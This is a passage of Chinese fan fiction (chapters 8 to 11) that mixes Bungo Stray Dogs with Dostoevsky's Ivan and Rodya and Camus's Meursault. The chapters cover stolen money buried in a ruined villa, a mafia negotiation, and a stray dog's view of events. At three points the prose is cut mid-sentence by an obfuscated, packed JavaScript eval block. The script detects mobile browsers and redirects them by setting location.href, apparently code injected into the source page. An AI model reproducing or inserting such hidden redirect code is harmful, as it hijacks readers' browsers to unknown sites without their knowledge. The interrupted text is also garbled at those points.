“您省省吧,罗季昂·罗曼诺维奇。”伊凡听完他的叙述,十分不留情面。“您要是真有什么愧疚之心的话,现在就该跪着给我擦鞋了……只不过是您自尊高,丢不下本心里的高尚罢了。” “我高尚?您在跟一个杀人犯说什么玩笑话,卡拉马佐夫?”罗佳的脸上涌出气愤的红晕,他当然是不愿认的。 “第一次还能说是心血来潮,可您瞒着我生生干了两个月,这可是不简单的。”伊凡笑了一下,眼神又骤然冷厉,“但您似乎欠缺凡事都要考虑周全的意识。” “我都说了,这就是心血来潮……” “那您之后打算怎么办呢?继续那样养着他们,直到您把追杀他们的黑手党消灭干净?”伊凡眯起眼睛,“还是说,您自己住在我这里还不算够,甚至想让我多收养两个孩子么?” 罗佳垂眸半晌:“那么,您认为该如何呢?” “可以送到孤儿院。” “不行!”罗佳的嗓音骤然提高,“你又不是不知道这里的孤儿院对异能者是什么样,况且,孤儿院没有任何防御手段,那群该死的仍然会继续追杀!” 伊凡讥诮地笑了:“那又如何,罗季昂·罗曼诺维奇?他们的命是命,我的生活便不是生活了么?” “——可我们早就没有生活了。”罗佳凝视着他,仿佛能看穿一切,“从您和我认识那天起,我们就注定没有生活。这是您自己说的。” 周围似乎变得冷而潮湿,仿佛回到了他们的故乡,呼吸着过去的沉重痛苦的空气。 许久许久,伊凡叹了口气:“我可以给您和他们一周时间,如果我一周后还愿意,那就这样吧。 但在这之前,我们还有一件事要解决——” 他深灰色的眼中仿佛藏着把人剖开的刀: “我记得我给您的钱加起来也不够买一间安全屋。那么您告诉我,安全屋是怎么来的? “——或者更直白些,杀人后拿来的赃款,您把它们藏哪里了?” ——————————————————— 8. Chapter 8.局内还是局外 他是港口黑手党武斗派的一位底层员工。 每天干着循环往复的工作,处理各种细小琐事,有时还要冒着生命危险做些吃力不讨好的任务——工资倒还算稳定,不多不少,能养活自己罢了。 但他实际上无所谓,能不能升职,每天干什么工作,都不会有多大感觉。总之,活着就是活着,没什么意义。 他每天都过得很平淡。比如这一天,他又和自己的一群同僚们蹲在港口黑手党大楼地下三层的武器库里,照例擦拭着各自的武器。 有一些细碎的声音从通风管道渗进来,像某种钝器反复敲打耳膜。 本该是热天,这里却透着一股诡异的闷和冷。 这种冷好像某种氛围,也能让人颤抖不已流下汗来——也许是杀气过重吧。 但他不一样,在任何时间任何季节,即便所有人的汗水都要顺着脊椎滑进裤腰的时候,他都是干干净净的,身上一点气味都没有——他甚至是法国人呢,却从不用什么除臭剂或者香水。 “跟我们没什么两样的嘛。”许多本地的同僚小声嘀咕,“看起来也普普通通,还以为他们这些人个个都眼比天高呢。” 平心而论,他长相算不上普通:皮肤是很健康的橄榄色,黑色的眼睛很深邃,眼尾微微下坠,脸有些长,但比例很好,头发也足够浓密,黑亮而卷翘地挂在脑袋上。 但他身上有一种气质:让所有特质都不再特殊的气质。非常虚无缥缈,好像藏在人群影影绰绰一个幻想。 因此,他跟每个同僚都礼貌地交谈,但却都没有深交。 “感觉本质上很冷漠。”经常与他一起出任务的同僚这么说,“对什么都不感兴趣,又不像是高傲。” 这当然是背地里说的。在四楼,而他站在一楼的楼梯拐角处听得一清二楚,只不过,也提不起兴趣去质问或打断。 或许这个地方的人就是喜欢背后讲人坏话吧。他耸耸肩,继续着自己的生活。 今天,是给首领做安保的日子——别误会,不是什么重要的贴身安保,那些由游击队长或者干部负责;而他只能远远地站在某个走廊的一排人中间,充当一个不会说话的装饰品。 人很多,甚至配备上了新武器。是有什么重要的大人物要来么?——上级没有通知,但按架势来看,要么是什么大官员,要么是同样的“大公司”首领吧。 算了,无所谓,他还是继续站着数砖块吧。 他这次站的地方和上次一样:第三根柱子,对面的墙砖有一些细微的裂缝。砖有十二块,每一块上都印曼陀罗式的图案,复杂得令人眼晕。 一块、两块,时间像傍晚沙滩上的潮一样褪去,但不知为何气氛越来越冷凝。 渐渐的,皮鞋跟叩击大理石地面的声响从某个拐角传来,很有规律,像……敲击琴键。 过了一会儿。站在一旁的同僚们显然也听见了,开始咽口水,有人的手不自觉地伸向腰间武器。 他感觉不到什么气氛,只有一种预感:今天的事不一定顺利——那么,要死多少人呢? 或许和昨天一样,又或许不同,但总归没什么分别。 过了几秒钟后,脚步声的主人离他们所在的走廊越来越近。 先闻到的是气味——他的嗅觉几乎和听力一样灵敏。 闻起来很“意大利”。雪松和火药、和一点淡淡的烟味。这点和他们这里的现任首领不同,首领的香水味总让他想起医院消毒水。 然而,当那个银发的西西里男人终于出现在走廊里的时候,他还是小小惊讶了一番:这个人就连底层也必须认识,但他为什么会来这里? 是独自一人来的:银色半垂的头发,碧绿如宝石一样的眼睛,深邃俊美的五官——这些暂且不提。 更令人震撼的是他的气场。阳光从窗口斜切进来,把他的身影分割成阴阳两半:上半身是笔挺的深灰西装,袖扣折射出莹莹绿光;下半截影子拖得很长,像把出鞘的刀。 西西里黑手党之王彭格列——家族的岚之守护者兼任首领副手,Luciano Tempesta(卢西亚诺·滕佩斯塔)*。他还有一个更广为人知的本地名字——狱寺隼人。 岚守步履沉稳而迅速,穿过长廊时带起一阵风。 但他却敏锐得注意到,这位年轻副手嘴角绷得平直,仿佛在忍受某种难以启齿的疼痛。 这让他想起上个月,一个干部处决的叛徒时露出的表情。很相似。不是愤怒或恐惧,而是对即将玷污双手之物的淡淡嫌恶和不耐。 首领注定要失望了,他想。不论是合作协议还是商业谈判,看起来狱寺先生并不喜欢这里,也并不打算达成共识。 首领的谈判室的闭合时,他听到老人的笑声。 ——沙哑的,带着痰液翻涌的颤音,像一枚不停空转的齿轮。 这个曾经的掌控者已经老了,也已经病了。 三周前他咳出的血染红了波斯地毯,现在那里换上了新的,但血腥味不仅渗进了橡木地板,也渗入了这栋建筑的核心,让横滨这庞大的黑暗随他一同衰老。 椅子的摩擦声,所有人落座。 他能想象首领望着彭格列岚守的样子:脸上尽显和蔼慈祥,心理却满是扭曲的不甘和妒忌。 透过门缝漏出的只言片语在他耳边游荡:“...…产能不足..….”“...…风险管控..….”官样文章在空气里碰撞。 他没再听后续。却在某一时刻,听到首领又开始咳嗽。这次持续了二十三秒,比昨天多了两秒。 然后是一个年轻又锐利的声音在冷哼。是狱寺先生。 他突然有一种预感,所以安静等待着。 “砰——” 十几秒钟的静谧最后,突然传来玻璃碎裂的声响。 门内传来椅子拖拽声,首领的咆哮裹着痰液迸溅:“你们这些该死的,西西里的鬣狗!” 又是静谧,彭格列的谈判者没有回话。 最后,又是冷冰冰地、不耐烦的声调:“看来只要您在,我们便没什么可谈的了。” 皮鞋跟叩击地面,他数着步数,十七步后,门被猛地推开。 狱寺隼人从门内走出,仍然一丝不苟,沉稳得连一根发都没有乱。 他早已嗅到血的味道。不是新鲜的血,是老人牙龈渗出的铁锈味,混着雪松香水的余韵。 两种味道在空气里厮杀,显然,更腐朽的那个输了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273955|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走廊开始骚动。许多港口Mafia成员听到声响赶来,却都都对银发岚守存着一丝敬畏,也拿不准首领究竟想要做什么,有些僵硬在了原地。 而他不一样,他什么也不在乎——在门打开的一瞬间,他已经拔出武器对准目标。 狱寺不为所动,自顾自地向前走,只在经过时看了他一眼——或许没看,副手的视线永远只追随他自己的首领,其他身影在那双苍翠的眸子里似乎都缺少了点分量。 ——当然,更别提这里不过是一个港口黑手党。 那个老人因彭格列十代目没有亲自前来而愤懑,但在多数人尤其是狱寺本人眼中,他们的Boss肯让自己的副手来谈合作,已经是十分的屈尊降贵、宽容大度。 也许是受了老首领的命令,几个干部慢慢地朝银发男人聚拢过来。 那么狱寺隼人危险了吗?他在一旁静静地看着,却不这么认为。 银发男人的右手突然动了,气氛如琴弦张紧剧目高潮,如此难以预料又明目张胆。 之后,特意将手放进衣摆之下,又沉寂了几秒,让紧张感越来越滚烫—— 但最终,却只是掏出了一个金属制的烟盒。 混血意大利男人点燃了烟,烟的味道并不浓,雾气顺着骨节分明的一双手攀上去,弥散在空中。 很适合用来抚摸黑白琴键的一双手,但所有人都知道,它们还能用来点燃火焰、引爆炸弹,让这栋楼在某一刻灰飞烟灭。 所以,没有人敢动他。不只是因为他背后那雄伟的彭格列,还因为他是传说中的“狂暴之岚”,狱寺隼人。 这位彭格列的副手很快消失,他似乎再也不打算踏入此地了——甚至极有可能,因为港口Mafia的威胁与恶意,彭格列正好有了借口实行名为“复仇”的“吞并”。 首领的咆哮还在走廊回荡,但很快就会和之前的无数次一样,溶解在消毒水气味的空气里。 而他呢,这次又没他什么事了,于是他重新把武器放回原位。 今天死了零个人,和昨天不同,但总归没什么分别。 时间到了,他换岗下班,回到了自己的住处。 开门进入自己家前,他下意识瞥了一眼邻居家的门。 他的邻居是两个奇怪的斯拉夫青年,关系时好时坏,因为良好的听力,他时常会听见他们在吵架,可摆明了这两人是互相关心的——可真让人耳晕头疼。 不过,今天那个戴眼镜的没有回来,另一个清瘦的却恰好开了门,撞上他观察的视线。 斯拉夫青年眯起了眼睛,露出一个尖锐的笑容。 什么意思呢? …… 【马甲3完成度:12%,恭喜宿主,解锁新马甲查看权限】 第三张卡牌是渐变的,由阳光一样的苍金色逐渐变化成雾灰色,中上方悬浮着一只黑色眼睛,瞳仁中心是法庭石柱;下方则有一些灰蒙蒙的剪影,中心的剪影是纯黑的;最下面有灰色法语织就的角色姓名: 【默尔索】——出自加缪的《局外人》。 什么意思呢?面对这个古怪的笑,他——默尔索想到。 ————————————————————— 9. Chapter 9.不能告诉他 默尔索,是K目前认为最好扮演的一个角色。 与伊凡、罗佳这样时常陷入哲学思辨与道德困境的矛盾者相比,默尔索的内核相当稳定——漠然又坦诚,不寻求意义。 但他的这份稳定在多数人看来很反常,反常到让人感到恐惧的地步。 K却觉得这是一种非常美妙的精神状态,与他自己的十分相像,让人心绪通畅——戏称“活人微死”。 让第3个马甲进入港口Mafia是一开始便计划好的,不过当马甲出现显露身份后,K又想出了一种获得人设完成度的新方法,比之前的更方便快捷。 不过,也许得苦一苦黑手党同僚们了。 他们活该,K心想。默尔索不记仇,但他可记仇得很。背后说人坏话,就等着被制裁吧。 而另一边呢,算一算也快到森鸥外成为前任首领的私人医生的时间,罗佳便不再去地下诊所。 况且,家中还有两个小孩要养。 芥川兄妹真的很听话,而且总是十分贴心。让罗佳这个不太喜欢孩子的人也觉得不错。 K觉得叫他“先生”的两人可爱爆了。但碍于角色设定,不敢表现出来。 当然,伊凡定下的“一周试验”时间还没有过,但罗佳对芥川兄妹的去留并无多少担忧—— 过去的卡拉马佐夫家二少爷虽然嘴上说着“人不可能爱自己的邻人*”,却仍因为隐秘的同情心以及道德感,做不出把小孩丢回地狱里的事。 再者,龙之介和银都很有学习的天赋,伊凡也恰好欣赏这类人,有时兴致来了也会与他们交谈,甚至进行一番考教。 在罗佳出门“办事”时,他也会自动充当两人的临时教师及监护人——不过,两个孩子虽然尊敬礼貌,为他提供了住所、供养自己和恩人表达感激,对他却没有多少亲近。 是伊凡身上独特的气场么?他周围的每一个人似乎敬他、畏他、妒忌他或憎恨他,却几乎没有能真正亲近他的。 他与其他人都隔着一层膜,尽管大家都清楚他不过肉体凡胎,需要做大众都要做的事,却仍把他当做一个塑像或旗帜—— 好像这个人不是用来亲近、用来爱的,而是用来构筑、崇拜、批判或毁灭的。 他们看见的不是伊凡本身,而是他头脑里蕴藏的丰沛泉水——说不清这是好事还是坏事。 罗佳算是一个特例——过去也曾有几个特例,但现在都没有了——他始终有亲近伊凡的权力,但做不做又是他自己的事了。 总之,这两人目前仍然保持着微妙的平衡。 三天前,伊凡问了“您把赃款藏在哪里”,罗佳当然没有说出实情——一方面是迎合人设,另一方面则是K实在害怕:自己一旦说出来,在监听器另一边的太宰治就会给他整出什么大活。 伊凡见罗佳不说,倒也没有过多纠缠,只警告:“您自己考虑清楚便好。如果出事,我不会再为您收尸了。” “用不着您操心。”罗佳冷冷地回道。 但他内心明白,这意思也是:小心点,惹恼了黑手党我也保不住您。不过,芥川兄妹我还是会想办法安顿。 于是,这天下午,他令兄妹俩好好呆在家里,出门去查看自己的藏匿地点。 没想到,刚出门,便碰见了那个法国人邻居。 似乎是叫“默尔索”? 因为出门时间不同,在此地这么长时间,这才是罗佳第二次碰见他。 虽然会一点法语,又因为拿破仑对法国有天然的好感*,罗佳仍然记得见到此人时那种不适感。 一种漠然的,不受任何意义绑架的、虚无飘渺的感觉——一种包裹在随波逐流下的失常。 或许,会是一个十分杰出的暗杀者。 罗佳看人的眼光很准,总能突破外衣看见一个人的本质。 我应该好好调查一番,他想。但麻烦的是……邻居。 如果对邻居动手,那被发现几乎是板上钉钉的事。伊凡必定会大发雷霆,这次估计会直接抛弃他。这对两人来说不是什么好事。 所以,为了显得友好正常一些,他对这位“默尔索先生”笑了一下。 然后,没等对方说话,立刻转身离开。 只能先等等了。但如果对方先向他们下手,他不介意让这位法国邻居尝尝像木桩一样被斧头劈裂的滋味。 他向藏匿赃款的方向走去。 为了不被人发现,还开启了异能——虽然没有达到杀人的前置条件,效果差了不少,但至少也能屏蔽闲杂人等和普通人注意。 他走了很久,拐过了一个又一个弯,最终来到一片荒废的别墅区。 那里偏僻且并无人烟,本被铁栅栏围着,墙上爬满荆棘、上方还有铁丝网,内部的建筑也十分破败,一片阴森。 但罗佳意外发现了此地,还在被灌木遮掩的东南角找到了一个足够一人通过的洞。 罗佳猫腰钻进别墅区铁栅栏的破洞,荆棘勾住衣角时发出刺啦声响。 进入后看到的是别墅后院,亦是荒草丛生,疏于管理的杂草和灌木肆意生长。甚至,还有粉嫩的蔷薇顽强地活下来,成为此地唯一靓丽的点缀。 他四处扫视,看到了树木上挂着的一小截白绸——是他挂上去的标记,不太容易被发现。 往白绸枝桠处往前走刚好百步,第三栋别墅的地基旁。 罗佳蹲下身,观察藏匿地点的地面,发现上面的泥土颜色似乎有点太深,亲手夯实的土层此刻像被反复翻动过的蛋糕——不太对劲。 他皱起眉,立刻拿出放在大衣口袋小铁铲,用尖头戳进松软的腐土开始挖起来,翻开的泥土里混着新鲜草根。 挖了一会儿后,他突然顿住——“不,这是……” 喉间吐出低咒,他握紧铲柄的指节开始泛白。 连续三铲下去,黑土中忽然露出一块白色的碎片。罗佳猛地刨开取出这片白色,手掌划出一道血痕。 是一块猪骨。 铁锈味在舌尖蔓延。他踉跄着坐在地上,手一抖,铁铲摔在地上。 ——暮色中,别墅区的轮廓好似突然扭曲成巨大的棺木,蔷薇的香气化作腐尸的甜腥。 他望着那块猪骨头,上面似乎还有狗的獠牙啃过的痕迹。一瞬间,太阳穴突突直跳,异能在血管里沸腾,斧头虚影在指尖若隐若现。 “不……” 他强撑着理智,跪在地上继续疯狂刨土。指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273956|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲缝里塞满湿黏的黑泥,血腥味混着铁锈味让他胃部翻涌。 挖啊挖啊,冷汗逐渐浸湿衣衫。 最后一铲掀翻了草皮,泥土纷纷扬扬散落。他看着空无一物的坑洞,突然发出短促的笑声。 “哈哈,该死的,都不见啦!” 他的呼吸急促,脸颊与脖子烧得宛若红霞,不得不拼命吸气。 但吸进去的空气似乎也弥漫着血腥味,让他忍不住在痛苦中干呕了几下。高热令他不停发着抖,口中翻腾剧烈的喘息。 “不见了……全都不见了……” 他瘫坐在泥水里,仰头望着逐渐暗沉的天空。暮色像浸透血水的纱布,将他整个人裹进混沌的漩涡。 要完蛋了。 他现在的脑子一片空白,除了震惊、恐惧,根本不会去想是谁干的,也没有想为什么会被发现。 只有一个念头,如心脏一样狂乱跳动着,仿佛要从身体里冲出来:完蛋了完蛋了完蛋了完蛋了完蛋了…… 怎么办?要被发现了?被警察还是黑手党? 伊凡会怎么想?我该怎么办? 死刑吗?还是遣返?去西伯利亚? 完蛋了完蛋了完蛋了完蛋了完蛋了…… 恍惚间,他颤抖着拿出手机。乱戳乱点,搞错了好几次,才终于完整地在屏幕上按出伊凡的号码。 可下一秒,他又赶紧颤抖着删掉了。 不行……不能告诉他。 “不能告诉他……不能告诉他……”罗佳犯了癔症一般,絮絮叨叨着,“他会生气……不,该死的,他生气关我什么事…… “不对,不对,这不关他的事,是我的错……” “可他又能有什么办法?他是……” 话音刚落,罗佳突然反应过来什么似的,从地上猛得弹起,大喊一声: “你是什么东西,罗季昂·罗曼诺维奇?你是被驯服的狗吗,还是不知廉耻的臭虫? “和那家伙呆在一起,你变成蠢蛋了么?你忘记自己的能耐了吗?你完全可以自己解决问题,根本不需要任何外人来操这个心!” 他的高热仍没有褪去,精神却越来越亢奋。站起来不停地在原地踱步打转。 “你没什么可害怕的。想想,只要想想……你完全有办法查到,黑手党又怎样,你已经杀了这么多人了,完全有办法再干掉其他的……” “没关系,没关系,只要事情解决了,伊凡也没什么可说的……” 他配合自己的想象,忍不住低笑几声。 下定决心后,他最后掏出手机,给芥川龙之介发去一条消息:【别等我】。 好在他昨天为他们买来了手机。他们会明白的,罗佳有要做的事不回来,他们便自己解决晚饭,等待伊凡回家。 有了这句话,伊凡也不会多问。这很好。 他慢慢挺直了身子,观察了一下天色,然后毅然决然地走出了别墅区,留下身后一片的狼藉。 他一定能在被发现之前解决这件事。 ……系统的伦敦腔在他脑海中响起:【人设完成度上升,目前马甲2完成度:37%】 ————————————————————— 10. Chapter 10.一块骨头 (非人类视角预警) 时间倒回几个月前。 它是一条流浪狗。 它在横滨游荡了很多年,对这里的许多人和生活都很熟悉。 这一天,它蹲在巷子口,尾巴拍打着地面。那只奇怪的三花猫又来了,在它面前大摇大摆地晃悠。 它来了兴致,噗嗤一声冲出去,想要踩住猫的尾巴,但对方一下子蹿上了围墙。 猫居高临下地看着它,那双亮晶晶的金色瞳仁倒映着夕阳,像在嘲笑它不会爬树。 这只猫是它见过最聪明的一只,毛总是油亮亮的。追也追不上,但看着它跑来跑去也很有意思,好像得了一个小巧的朋友。 当然啦,猫是它的朋友,人类也可以是它的朋友。 它尤其喜欢特别的人类。 它见过一只穿着白大褂身上有消毒水味的人类,牵着一只金色的没有温度和味道的人类,在商店里买人类套在皮肤外面的另一层皮; 而另一只总是跳河所以湿漉漉、黑漆漆的人类非常调皮,总是做着一些夸张的动作。 然后,金发的小人类惊叫一声,穿白大褂的那个人类说:“太过分了,太宰君!不要往爱丽丝的头发里放蚂蚱……” 湿漉漉的人类笑着跳走了。 它还去过那个大锅一样的脏兮兮的街道里,在那里见过一只总爱大喊大叫的橘子颜色的人类,但他也挺不错的,会企图趁它不注意摸一把它的毛; 还有一只垂耳朵兔子一样的人类,瘦瘦的,看起来有点凶,但从来不会伤害它…… 啊,还有不知道从哪里来的三个人类,从它有记忆起好像就在了:一个看上去凉凉的戴眼镜人类,一个总发烧的血腥味人类(远离!),还有一个身上没什么味道的、总是穿西装的很好很好的黑色人类。 前两个人类好像住在同一个大盒子里,最后一个好人类住在旁边的盒子里。 戴眼镜人类每天同一时间出门、同一时间回家;血腥味人类随时出门,不一定回家——也许是出去捕猎了;好人类也按时回家,有时候很晚很晚,但他每天都会给它肉骨头和肉干吃。 有一天,奇怪的发烧人类在外面走了好久好久,手上提着一个方盒子——他是在找捕猎地点吗? 它在后边远远缀着,跟着他一起走,走了好久好久,它看着那个人类钻进黑漆漆的洞里,不见啦! 过了好一会儿,那个人类才从里边出来,手上的方盒子也不见了。它觉得好神奇,所以在人类走远之后,也钻进灌木丛里——小树枝和刺扎得它有点痒——从洞里面进去了。 哇!草坪!泥土!很安静! 它撒丫子在里面跑来跑去,草地软软的,对它的爪子很好。 还有盒子可以挡雨,可以睡觉,还能挖坑! 它宣布这就是它的“乐园”! 只要避开那个人类,“乐园”就是属于它一条狗的。那个人类不经常来,那么“乐园”就是属于它一条狗的! 为了守住自己的领土,它天天来这里巡视。 当然,它还是会经常去那几个人类那里看看,享受好人类投喂给他的食物。 不过有一天,那个发烧人类带回来了别的人类。 他把垂耳兔人类、长头发小人类一起带回了他们的大盒子里!垂耳兔人类也很好,会悄悄给它一点面包吃——但它还是更喜欢肉骨头。 不过有一些奇怪的是,黑色的好人类原来都不说话,这几天却突然会和它说话了,还总叫它“Chien*”,喂完骨头之后,还会拍拍它的脑袋。 很舒服,“Chien”还想要! 它把脑袋凑上去,希望能得到更多抚摸。但好人只是看了它一眼就走掉了——真令狗伤心…… 但是很快,它想到一个拉近距离的方法,带那个好人类参观它的“乐园”! 那是一天傍晚,太阳像个滚烫的鸡蛋饼。 好人类回来了,手上拿着一个黑色袋子,是出去倒垃圾的。然后,他看到了它,叫了一声:“Chien,你又来了。” 说着,从袋子的某个地方摸出一块没吃完的肉骨头,准确地朝它丢过来。 它像接球一样叼住骨头,在原地呼哧呼哧一顿啃,但没有全啃完。 这是我的藏品,我要把它带到“乐园”里埋起来! 它欢快地想着,接着意识到:这是带好人类去“乐园”的好时机! 可是,怎么引诱人类跟它走呢? 它晃晃尾巴,学着那些胖乎乎的小家伙们会做的样子,蹭到人类的腿边,轻轻地用嘴叼住他的裤脚。 “汪呜!汪呜!”——跟我来!我要带你去个好地方! 人类理解它的意思:“Chien,你要带我去哪儿?” “嗷!嗷!”——去了你就知道了! 黑色人类任由它带着,一路小跑着走。他们跑啊跑啊,太阳和云的颜色从粉红粉红变成了绛紫绛紫。 跑到洞前,它甩了甩身子钻进去,很久没见人类跟上来,又慌张地钻出去看看。 人类站在外头一动不动,好像并不想进去:“会弄脏衣服,很麻烦。” 它急得在原地直转圈,围着人类不停地“汪汪”叫,还把嘴里的骨头叼起来又放下,示意人类跟它进去。 人类犹豫了一会儿,终于还是卷起袖子,弯下腰,从那个洞里钻进去。 一进“乐园”,它就兴奋地在草地上打起滚来,然后跑到之前挖的小坑旁,开始用爪子刨土。 人类站在一旁看着它,脸上没什么表情。它一边刨土,一边时不时抬头看看人类,想要快点把骨头埋好,再向人类展示它的“乐园”。 突然,它闻到了一股奇怪的味道,爪子下好像碰到了什么硬邦邦的东西。它好奇地用力刨开土,那个方盒子露了出来。 人类走过来,帮它把盒子从土里拿出来,说:“你把骨头埋在这里吧。” 它听话地把骨头放进箱子旁的小坑里,又用土把坑填好,还在上面踩了几脚,把土压实。 人类似乎对这个箱子很感兴趣,他从口袋里掏出一根细细的铁丝,开始摆弄方盒子上的金子孔。 不一会儿,方盒子打开了,箱子里露出一沓沓的味道浓郁的纸片。 人类的眼睛微微眯起,他拿起一沓纸片,仔细看了看放在仅剩的光下看了又看,嘴里吐出轻轻的:“啊,找到了。”但表情还是没有什么变化。 它不明白这沓没用的小纸片有什么特别的,凑过去,用鼻子嗅了嗅——呜,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273957|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点臭,不能吃。 人类把方盒子合上,看看它,似乎想要说什么,后来又放弃了。 人类没有管它,拿着方盒子转身从洞里走了。 没有拉近关系!都怪这个方盒子! 它觉得十分委屈,有些不情愿地跟上去,跑在好人类身后;但是好人类好像就是不想理他。 好冷漠。 它呜咽起来,但很快就想开了:也许是方盒子让人类的心情不好!所以不是人类的错! 好吧,现在该走啦,明天又是新的一天,说不定好人类还会给它带好吃的肉骨头呢。 它找到另一片更近的草地,摇了摇尾巴,趴在地上,渐渐进入了梦乡。梦里还有很多很多的肉骨头…… …… 是港口Mafia失踪人员身上带过的钱,默尔索记得很清楚。那本是一场交钱交货的公平交易,但没有人回来,交易双方都失踪了。 这批钱是他所在的那个小队负责清点的,因此他记得上面黑手党内部特有的记号——只要有外人敢偷敢用,便立刻能追本溯源。 但现在带他找到盗贼——不,杀人凶手——藏匿赃款地点的,是一条流浪狗。 这又该怎么找,问狗吗? 他简单想了一下之后该怎么做:如果上交这笔钱,那还要写报告,可能还会被怀疑,非常麻烦。 本来没有的事,现在有了,真麻烦。但又因为好奇一下子把箱子带回来了,这样要解释更麻烦。 还有,那个所谓的真凶竟然还敢用钱,根据箱子的容量,本来还该有很大一叠才对。 真是不怕死的危险分子——还是不要遇上比较好。 啊,工作果然会让人苦恼。特别是这种工作,有个偏执又残暴的大老板,事情只会源源不断地增多的。 说实话,什么黑手党的尊严,真凶的身份,上司的赏识同僚的闲话,这一切都是他生活里的一场场雨—— 但他的头脑里罩着一块光滑的挡雨布,水珠滴在上面便平滑地落下了,没有痕迹也没什么意义。 我还是当作什么也没发现吧。 只要这样,一切就都会过去的。反正,那个执着于找到凶手的、骄傲的老头子,好像也活不长的样子,熬过去就好。 不过,这钱到底该怎么处理?烧掉太可惜,留着又麻烦。要不就先放在家里?反正也没人知道。嗯,就这么办吧,等过段时间再看看情况。 正想着,手机突然响了,是上司打来的电话:“默尔索,马上回总部加班,有紧急任务。”上司的声音急促又不容置疑。 “啊,好的。”默尔索应了一声,心里有些无奈。他看了看放在一旁的箱子,随手把它塞进了床底下,想着回来再处理,便急匆匆地出门了。 等他加完班回到家,已经是深夜。他疲惫不堪,倒头就睡,早把箱子和赃款的事情抛到了九霄云外。 反正,在他看来,交不交这笔钱都无所谓,没什么意义,生活还是会像往常一样继续,今天和昨天,总归没什么分别。 ……真的吗? 也许,只有命运会给予他答案。 【人设完成度上升,目前马甲3完成度:21%】 —————————————————— 11.Chapter 11.厨子 “伊凡先生……罗佳先生已经两天没有回来了,您能告诉在下他去哪儿了吗?” 过去的无心之犬,现在谨慎礼貌、干干净净的男孩怀里抱着本德语诗集,抬起头看向在场唯一的成年人。 “我不知道。”伊凡说,“他有自己的打算,我不会干涉。” 芥川龙之介垂下眼帘,犹豫了一会儿才问出:“……那么,如果先生有了危险……” 伊凡眯起眼,迅速打断他:“不需要担心,他不是蠢人。您只要好好呆在这里,就是对他最大的帮助了。” K早就知道这小孩性子有多倔,要是令他知道马甲2在干什么,非要不顾性命地冲出去不可。 所以,这时候直白的警告就是最好的回答。毕竟,孩子心里对马甲2的滤镜还挺重的:“没有罗佳先生做不到的事”。很早就这么表达过。 但K实际上并不理解这种近乎偏执的虔诚。 比起自己更信任他人的情感相当可怕,像是抓住了某个救命稻草就把它奉为珍宝,也不怕回过神来——发现自己根本没有溺水,稻草反而是割伤他的罪魁祸首。 不过,这也是事出有因。 一个从小生活在灰暗之中的人,并没有多少机会看见阳光的真面目;一个有凄惨过去、缺少情绪与配得感的人,很容易对第一个向他伸出手的人产生别样的依赖。 因为您先给了我一颗心,我就是属于您的。 只要您有需要,我随时可以把这颗心捧出来献给您。 ——然而,这是病态的。 对苦难的过度适应造成的空洞表象,与战斗时孤注一掷的兽性内里,是他的第一种疯狂; 对人性与价值的渴求生出虔诚,对意义外化为力量崇拜的偏执,是他的另一种疯狂。 这些可被称之为“疯狂”的东西构成了芥川独特的表里,仿佛某个阴暗无光处仍要挣扎生长的荆棘玫瑰——预示着某种必然的悲剧。 很有戏剧性,有张力——但这仍是病态的。 至少K、伊凡与罗佳都会这么想。 K不喜欢,他知道健康的价值观是什么。 因为他看见的是一个孩子,一个未满十四岁,就已经如此早熟、执拗,但又仍留有一丝可爱的天真的孩子。 虽然一开始的计划不过是利用,但谁知道他遇见二人时的那些话,有多少真心的成分? 既然他已经插手,那么命运必须被改变。 而伊凡和罗佳呢? 永远无法摆脱的骄傲,让这两人既不会将获得他人认可作为检验自我价值的标准,也对当他人的“精神导师”和“救世主”没有兴趣。 ——人的价值只能由自己赋予。 他们永远试图教会孩子们这一点。 但这并不是一天两天能做到的事。现在的孩子情绪低落,因为他没法知道恩人“老师”的去向,也担忧对方不会回来—— 这不是不信任,而是一种长久养成的习惯,因为在贫民窟摸爬滚打的经历和一次又一次失去,让他们习惯于永远做最坏的打算; 当然,这也是纯洁的期冀。本性善良的人总会有一些可爱的幻想,那就是希望在自己日复一日的许愿下,所爱之人都能平安顺遂。 这没什么错。但思虑太过了,很容易影响健康。 他拉着有肺病的孩子看了好久,每天注意对方的休息调养,目的就是让他一直健健康康的,不要再受原作受过的苦,可不能让努力付诸东流。 所以,当务之急是缓解焦虑。 有什么办法呢? 有了。可能用这个马甲做会有点OOC,但从长远来看,掉点人设完整度不是什么大不了的事。 伊凡叹了口气,放下手中的纸笔:“您先去卧室里和银一起等会儿吧,今晚我来做饭。当然,如果您想来帮我的忙……” 芥川龙之介怔愣了:“……做饭?” 